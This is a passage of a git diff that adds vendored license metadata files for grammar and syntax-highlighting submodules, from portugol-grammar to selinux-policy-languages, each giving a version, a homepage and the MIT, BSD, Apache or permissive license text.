+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/portugol-grammar.dep.yml b/vendor/licenses/git_submodule/portugol-grammar.dep.yml
new file mode 100644
index 0000000000..e681671fc1
--- /dev/null
+++ b/vendor/licenses/git_submodule/portugol-grammar.dep.yml
@@ -0,0 +1,31 @@
+---
+name: portugol-grammar
+version: 8c427b469e2288d4031eb51241b76d2fd44550c2
+type: git_submodule
+homepage: https://github.com/luisgbr1el/portugol-grammar.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2022 Luis Gabriel Araújo
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/powershell.dep.yml b/vendor/licenses/git_submodule/powershell.dep.yml
new file mode 100644
index 0000000000..293727baf6
--- /dev/null
+++ b/vendor/licenses/git_submodule/powershell.dep.yml
@@ -0,0 +1,38 @@
+---
+name: powershell
+version: a08b55bf1146c210f58e844be53c2aa78fd5e610
+type: git_submodule
+homepage: https://github.com/PowerShell/EditorSyntax
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (c) Microsoft Corporation
+
+    All rights reserved.
+
+    MIT License
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: |-
+    This extension is [licensed under the MIT License](LICENSE). Please see the
+    [third-party notices](Third%20Party%20Notices.txt) file for details on the original
+    source of the TextMate definition that we use.
+notices: []
diff --git a/vendor/licenses/git_submodule/praatvscode.dep.yml b/vendor/licenses/git_submodule/praatvscode.dep.yml
new file mode 100644
index 0000000000..a74a585e33
--- /dev/null
+++ b/vendor/licenses/git_submodule/praatvscode.dep.yml
@@ -0,0 +1,19 @@
+---
+name: praatvscode
+version: 17f2d5eedf54c66b098d8db32956bda9e4bca090
+type: git_submodule
+homepage: https://github.com/orhunulusahin/praatvscode.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    The MIT License (MIT)
+
+    Copyright © 2022 Orhun Uluşahin
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/processing.tmbundle.dep.yml b/vendor/licenses/git_submodule/processing.tmbundle.dep.yml
new file mode 100644
index 0000000000..029e9ba030
--- /dev/null
+++ b/vendor/licenses/git_submodule/processing.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: processing.tmbundle
+version: 214b3420f12d65b125e82dc039d580326257f71b
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/python-django.tmbundle.dep.yml b/vendor/licenses/git_submodule/python-django.tmbundle.dep.yml
new file mode 100644
index 0000000000..f1b1f64bb4
--- /dev/null
+++ b/vendor/licenses/git_submodule/python-django.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: python-django.tmbundle
+version: 81d1395950ffb66e689e41863fab9a4f7cc5f30e
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/qsharp.dep.yml b/vendor/licenses/git_submodule/qsharp.dep.yml
new file mode 100644
index 0000000000..83ebbde168
--- /dev/null
+++ b/vendor/licenses/git_submodule/qsharp.dep.yml
@@ -0,0 +1,31 @@
+---
+name: qsharp
+version: 78ad29efd6b821cf8d1f98e44bbdd50a313dd91f
+type: git_submodule
+homepage: https://github.com/microsoft/qsharp.git
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |2
+        MIT License
+
+        Copyright (c) Microsoft Corporation.
+
+        Permission is hereby granted, free of charge, to any person obtaining a copy
+        of this software and associated documentation files (the "Software"), to deal
+        in the Software without restriction, including without limitation the rights
+        to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+        copies of the Software, and to permit persons to whom the Software is
+        furnished to do so, subject to the following conditions:
+
+        The above copyright notice and this permission notice shall be included in all
+        copies or substantial portions of the Software.
+
+        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+        IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+        FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+        AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+        LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+        OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+        SOFTWARE
+notices: []
diff --git a/vendor/licenses/git_submodule/quake.dep.yml b/vendor/licenses/git_submodule/quake.dep.yml
new file mode 100644
index 0000000000..c9f71f75a5
--- /dev/null
+++ b/vendor/licenses/git_submodule/quake.dep.yml
@@ -0,0 +1,37 @@
+---
+type: git_submodule
+name: quake
+version: bd830b0d0e109ebb8b4b4415cf293e6be58af88b
+license: bsd-3-clause
+licenses:
+- text: |-
+    BSD 3-Clause License
+
+    Copyright (c) 2018, newgrammars
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    * Neither the name of the copyright holder nor the names of its
+      contributors may be used to endorse or promote products derived from
+      this software without specific prior written permission.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/r.tmbundle.dep.yml b/vendor/licenses/git_submodule/r.tmbundle.dep.yml
new file mode 100644
index 0000000000..39739463fc
--- /dev/null
+++ b/vendor/licenses/git_submodule/r.tmbundle.dep.yml
@@ -0,0 +1,11 @@
+---
+type: git_submodule
+name: r.tmbundle
+version: 5dc52fc8559e064150a7f4f6f5c60c31672f3494
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose."
+notices: []
diff --git a/vendor/licenses/git_submodule/rascal-syntax-highlighting.dep.yml b/vendor/licenses/git_submodule/rascal-syntax-highlighting.dep.yml
new file mode 100644
index 0000000000..3d1b4742af
--- /dev/null
+++ b/vendor/licenses/git_submodule/rascal-syntax-highlighting.dep.yml
@@ -0,0 +1,35 @@
+---
+name: rascal-syntax-highlighting
+version: 3032840be267487b3dac153f7b7f4a1632af9e5d
+type: git_submodule
+homepage: https://github.com/usethesource/rascal-syntax-highlighting
+license: bsd-2-clause
+licenses:
+- sources: LICENSE
+  text: |
+    BSD 2-Clause License
+
+    Copyright (c) 2016, Ahmad Salim Al-Sibahi
+    All rights reserved.
+
+    Redistribution and use in source and binary forms, with or without
+    modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice, this
+      list of conditions and the following disclaimer.
+
+    * Redistributions in binary form must reproduce the above copyright notice,
+      this list of conditions and the following disclaimer in the documentation
+      and/or other materials provided with the distribution.
+
+    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+    AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+    IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+    OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+    OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+notices: []
diff --git a/vendor/licenses/git_submodule/razor-plus.dep.yml b/vendor/licenses/git_submodule/razor-plus.dep.yml
new file mode 100644
index 0000000000..1b893eeace
--- /dev/null
+++ b/vendor/licenses/git_submodule/razor-plus.dep.yml
@@ -0,0 +1,31 @@
+---
+name: razor-plus
+version: c1fa4b2ee1eebfffd02c65892dc0924030606b54
+type: git_submodule
+homepage: https://github.com/github-linguist/razor-plus
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2018 Austin Cummings
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/rescript-vscode.dep.yml b/vendor/licenses/git_submodule/rescript-vscode.dep.yml
new file mode 100644
index 0000000000..fa631159f8
--- /dev/null
+++ b/vendor/licenses/git_submodule/rescript-vscode.dep.yml
@@ -0,0 +1,27 @@
+---
+name: rescript-vscode
+version: 0b309d03764eb1448765276af54bf1e243196381
+type: git_submodule
+homepage: https://github.com/rescript-lang/rescript-vscode
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |-
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/rez.tmbundle.dep.yml b/vendor/licenses/git_submodule/rez.tmbundle.dep.yml
new file mode 100644
index 0000000000..e01f56b1d9
--- /dev/null
+++ b/vendor/licenses/git_submodule/rez.tmbundle.dep.yml
@@ -0,0 +1,17 @@
+---
+name: rez.tmbundle
+version: ad6f93f7c882bfc45c208a477c0df23ca47afe72
+type: git_submodule
+homepage: https://github.com/textmate/rez.tmbundle.git
+license: permissive
+licenses:
+- sources: README.mdown
+  text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/riot-syntax-highlight.dep.yml b/vendor/licenses/git_submodule/riot-syntax-highlight.dep.yml
new file mode 100644
index 0000000000..8409376a36
--- /dev/null
+++ b/vendor/licenses/git_submodule/riot-syntax-highlight.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: riot-syntax-highlight
+version: 6ffd29ce303d73f2a838621beecc56525965c3b3
+license: mit
+licenses:
+- text: |-
+    The MIT License (MIT)
+
+    Copyright (c) Gianluca Guarini
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/roc-vscode-unofficial.dep.yml b/vendor/licenses/git_submodule/roc-vscode-unofficial.dep.yml
new file mode 100644
index 0000000000..45b3d1c0eb
--- /dev/null
+++ b/vendor/licenses/git_submodule/roc-vscode-unofficial.dep.yml
@@ -0,0 +1,31 @@
+---
+name: roc-vscode-unofficial
+version: 5580b983f3a1fc5d56f40a4bafd94b80dbcf93cb
+type: git_submodule
+homepage: https://github.com/ivan-demchenko/roc-vscode-unofficial.git
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2023 Ivan Demchenko
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/ruby-slim.tmbundle.dep.yml b/vendor/licenses/git_submodule/ruby-slim.tmbundle.dep.yml
new file mode 100644
index 0000000000..6b4d5894ce
--- /dev/null
+++ b/vendor/licenses/git_submodule/ruby-slim.tmbundle.dep.yml
@@ -0,0 +1,29 @@
+---
+type: git_submodule
+name: ruby-slim.tmbundle
+version: 3b1441f89fde40678c3c0ada6d75ce46417a35b6
+license: mit
+licenses:
+- text: |-
+    The MIT License
+
+    Copyright (c) 2014 Slim Team
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/rust-syntax.dep.yml b/vendor/licenses/git_submodule/rust-syntax.dep.yml
new file mode 100644
index 0000000000..92e777f8e2
--- /dev/null
+++ b/vendor/licenses/git_submodule/rust-syntax.dep.yml
@@ -0,0 +1,31 @@
+---
+name: rust-syntax
+version: e90d3dbdb61b96e4afdce6f7a3572426b1a86d9d
+type: git_submodule
+homepage: https://github.com/dustypomerleau/rust-syntax.git
+license: mit
+licenses:
+- sources: LICENSE.txt
+  text: |
+    MIT License
+
+    Copyright (c) 2020 Dustin Pomerleau
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/sas.tmbundle.dep.yml b/vendor/licenses/git_submodule/sas.tmbundle.dep.yml
new file mode 100644
index 0000000000..d79c40bbd5
--- /dev/null
+++ b/vendor/licenses/git_submodule/sas.tmbundle.dep.yml
@@ -0,0 +1,38 @@
+---
+name: sas.tmbundle
+version: bfc6897340448a700821b0930c05e951425eaabd
+type: git_submodule
+homepage: https://github.com/rpardee/sas.tmbundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |-
+    The MIT License (MIT)
+
+    Copyright (c) 2014 Roy Pardee
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices:
+- sources: AUTHORS.md
+  text: |-
+    Contributors in the order of first contribution
+
+    * [Jakob Stoeck](https://github.com/jakob-stoeck)
+    * [Roy Pardee](https://github.com/rpardee)
+    * [Matthew Kastin aka FriedEgg](https://github.com/FriedEgg)
diff --git a/vendor/licenses/git_submodule/scheme.tmbundle.dep.yml b/vendor/licenses/git_submodule/scheme.tmbundle.dep.yml
new file mode 100644
index 0000000000..51f59bab0c
--- /dev/null
+++ b/vendor/licenses/git_submodule/scheme.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: scheme.tmbundle
+version: aa710ce5c38b1e479fa872b43291986f6762d363
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/scilab.tmbundle.dep.yml b/vendor/licenses/git_submodule/scilab.tmbundle.dep.yml
new file mode 100644
index 0000000000..5ecc6538e9
--- /dev/null
+++ b/vendor/licenses/git_submodule/scilab.tmbundle.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: scilab.tmbundle
+version: 629ea8bd1a30890cdfa35f1566137bd773cce948
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/secondlife-lsl.dep.yml b/vendor/licenses/git_submodule/secondlife-lsl.dep.yml
new file mode 100644
index 0000000000..41200bcc73
--- /dev/null
+++ b/vendor/licenses/git_submodule/secondlife-lsl.dep.yml
@@ -0,0 +1,15 @@
+---
+type: git_submodule
+name: secondlife-lsl
+version: 0d7fb8982d5fe6b1f7065dfbfe42d6e9eaf02251
+license: permissive
+licenses:
+- text: "If not otherwise specified (see below), files in this repository fall under
+    the following license:\n\n\tPermission to copy, use, modify, sell and distribute
+    this\n\tsoftware is granted. This software is provided \"as is\" without\n\texpress
+    or implied warranty, and with no claim as to its\n\tsuitability for any purpose.\n\nAn
+    exception is made for files in readable text which contain their own license information,
+    or files where an accompanying file exists (in the same directory) with a “-license”
+    suffix added to the base-name name of the original file, and an extension of txt,
+    html, or similar. For example “tidy” is accompanied by “tidy-license.txt”."
+notices: []
diff --git a/vendor/licenses/git_submodule/selinux-policy-languages.dep.yml b/vendor/licenses/git_submodule/selinux-policy-languages.dep.yml
new file mode 100644
index 0000000000..2c146c72b8
--- /dev/null
+++ b/vendor/licenses/git_submodule/selinux-policy-languages.dep.yml
@@ -0,0 +1,212 @@
+---
+name: selinux-policy-languages
+version: 502c96ccf38476a627897209bf726fd4e40296b8
+type: git_submodule
+homepage: https://github.com/google/selinux-policy-languages
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2-
+
+                                     Apache License
+                               Version 2.0, January 2004
